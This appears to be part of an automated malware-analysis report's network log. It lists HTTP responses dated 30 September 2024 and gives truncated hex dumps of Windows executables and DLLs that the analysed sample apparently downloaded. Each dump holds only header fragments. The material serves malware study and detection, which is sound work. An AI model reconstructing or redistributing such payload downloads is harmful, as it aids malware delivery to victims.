0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 9c 05 00 00 20 00 00 00 9e 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 c0 05 00 00 06 00 00 00 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 bc 05 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 aa 05 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 58 f1 31 35 d1 e9 51 1a 14 54 9d 77 7b a3 ef 8c 05 fa a9 ca 06 9a b3 9a d5 76 5e 00 22 df fa eb 06 53 a5 d7 8f ee b6 30 5a 6f bc ef 58 93 ac b7 96 f8 15 7c 83 a1 da 8c c7 f3 b1 bf 6f 88 94 d4 a0 41 53 b4 e8 44 a2 12 a6 6e f0 f4 45 0f 65 b6 f7 e2 35 5f f7 30 1b ba 95 ad ae 45 f9 84 06 03 41 aa 9a 85 ab b7 3b bb fa 01 0c 24 dc 33 a6 5a d8 ba 21 68 3b c7 25 16 bc 0f 0b 72 3b 47 0a 8c 75 18 13 f4 52 80 8b 07 24 27 b9 39 d0 b0 ce f2 c7 56 0b 8b 37 02 4f 3f 14 43 92 dd 3a fb 16 fd b4 7c e9 e5 cd 2c 60 32 76 71 85 32 74 be 58 2f 06 67 3d 5e 6e 28 14 ad dd b4 3f 25 4e 12 c8 d5 d4 67 c6 11 96 51 94 25 a2 25 e1 c9 af 49 72 6f 14 30 e1 06 88 48 09 66 d4 2e 77 2b 5e cf cc f7 63 c7 1d f7 69 9e d9 2f 86 27 c3 ae d5 e9 46 fb 7f fd a9 f0 1d c8 a2 cc 12 46 52 f1 45 fa 74 96 c1 05 9d 2b 76 9c 37 53 8d 67 aa ec 17 33 dc f6 ab 8e da 7d a5 28 c8 b8 c0 a7 48 a1 b2 ba 29 17 75 21 5f 35 fb b1 02 59 62 8e 0a 85 74 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:39 GMTContent-Type: application/octet-streamContent-Length: 414248Last-Modified: Mon, 30 Sep 2024 04:37:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2afc-65228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 20 06 00 00 20 00 00 00 22 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 60 06 00 00 06 00 00 00 24 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 06 00 00 02 00 00 00 2a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 40 06 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 2e 06 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b7 dc 3b 9f 38 e4 60 f0 c6 77 a2 a5 08 0f e5 a0 19 86 ff d4 8b 72 8b 62 1a 84 93 8a e4 20 c2 ed 43 04 47 41 ba f2 7e 7a 78 46 ae 63 c0 40 51 65 ff b9 38 88 d6 05 c1 93 38 24 d9 ec 61 f5 87 e5 87 93 4e f9 1d 21 51 1e 34 66 b5 13 c6 9a 5c 0e 84 ea 1a b4 64 df 14 61 ad 9e 65 39 34 05 db d7 5e 51 2a 38 66 a9 76 e5 02 07 e4 77 e3 57 1c c6 77 48 09 6b 51 f2 f1 1b 2c d2 db bd 33 c3 41 24 23 b9 e0 d8 50 16 8c 9c e2 87 b4 29 cf f4 53 d0 8b ee 6f 81 91 e8 62 2b 67 59 7f 5c 6f ae 8e b1 f0 d1 35 84 6d e5 29 ea 1d 32 1b 74 cc ab 35 d7 43 a6 c5 26 7a 37 ad 89 9d 1d 2d 8f 44 db 9e d9 c5 b8 71 21 11 b8 d6 8e 1f 8f 6f dc f4 e7 a3 b7 14 ba 07 84 d9 57 32 46 9c cb f4 6e 3b bb ee 7e 8a 39 2e 92 c7 e5 09 71 34 18 6c 9e 56 96 0f c6 4f 0c 70 18 6c dc f5 6d 7d e3 a0 27 d3 c4 cf 3a d1 97 45 b9 f6 cb bd e6 99 2f 25 32 ff fb b7 5f 01 c8 67 05 ca c0 3d 19 37 7f 0a d1 e8 96 f6 cf b7 fa 6d 8b 84 e8 d4 e2 1c dc b6 30 5e 87 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:41 GMTContent-Type: application/octet-streamContent-Length: 334376Last-Modified: Mon, 30 Sep 2024 04:36:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2ae9-51a28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ea 04 00 00 08 00 00 00 00 00 00 4e 08 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 08 05 00 4b 00 00 00 00 20 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 f4 04 00 28 26 00 00 00 40 05 00 0c 00 00 00 c8 06 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 e8 04 00 00 20 00 00 00 ea 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 20 05 00 00 06 00 00 00 ec 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 05 00 00 02 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 08 05 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 f6 04 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 74 4c 71 2d 7e ec c2 53 dd d7 be 49 a7 c5 39 c2 d8 0b 91 f5 80 f8 a6 ec c6 52 8c bf bc f6 e4 7b ec 64 a2 98 6c 6f f0 35 33 db 20 10 ee 42 c7 4c 66 f8 35 d2 a4 8e 07 62 23 e2 b0 38 46 c0 78 07 c7 69 a2 75 0e 75 65 cd 2b a8 c6 80 d1 ec 28 98 75 79 9f 71 9b ce 9f 7e 81 1a 8d 38 98 7d 23 80 83 9a 83 e5 78 96 52 4e e6 d9 4a b1 81 13 d3 9a 13 f6 d5 14 5f ea 6c 7e 88 a2 32 30 85 9d 8b f0 2c f9 5a ff 45 f9 85 86 dc 23 cd 94 18 e9 69 ce b0 dd c0 8c ef d1 77 e5 48 88 cb 1d f8 08 b0 93 0d 2a fe 0c de 2a 15 86 f0 44 fb c7 b0 a1 1c cd 46 63 0a 08 b7 f1 dc 2f f7 a1 7c 98 2a 1c 77 17 e6 fe f4 d2 6f f9 db 17 c3 32 d5 0d f2 4a b8 ec a1 3c 7f 93 41 28 97 d4 ed 66 83 52 6e da 4a aa 04 11 d4 4a 0f 35 83 a3 cb 3a a3 c2 c2 80 13 00 b2 ff 86 e1 75 e5 48 62 28 24 f2 47 a9 a6 47 09 78 e1 b7 78 21 ba 05 16 c5 4a 2c 98 c4 91 19 69 d1 11 34 ce 1f f6 a3 38 12 5c 47 f5 1f b8 0d eb d4 22 5b 78 1e de 64 f3 11 d8 ce 59 a4 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 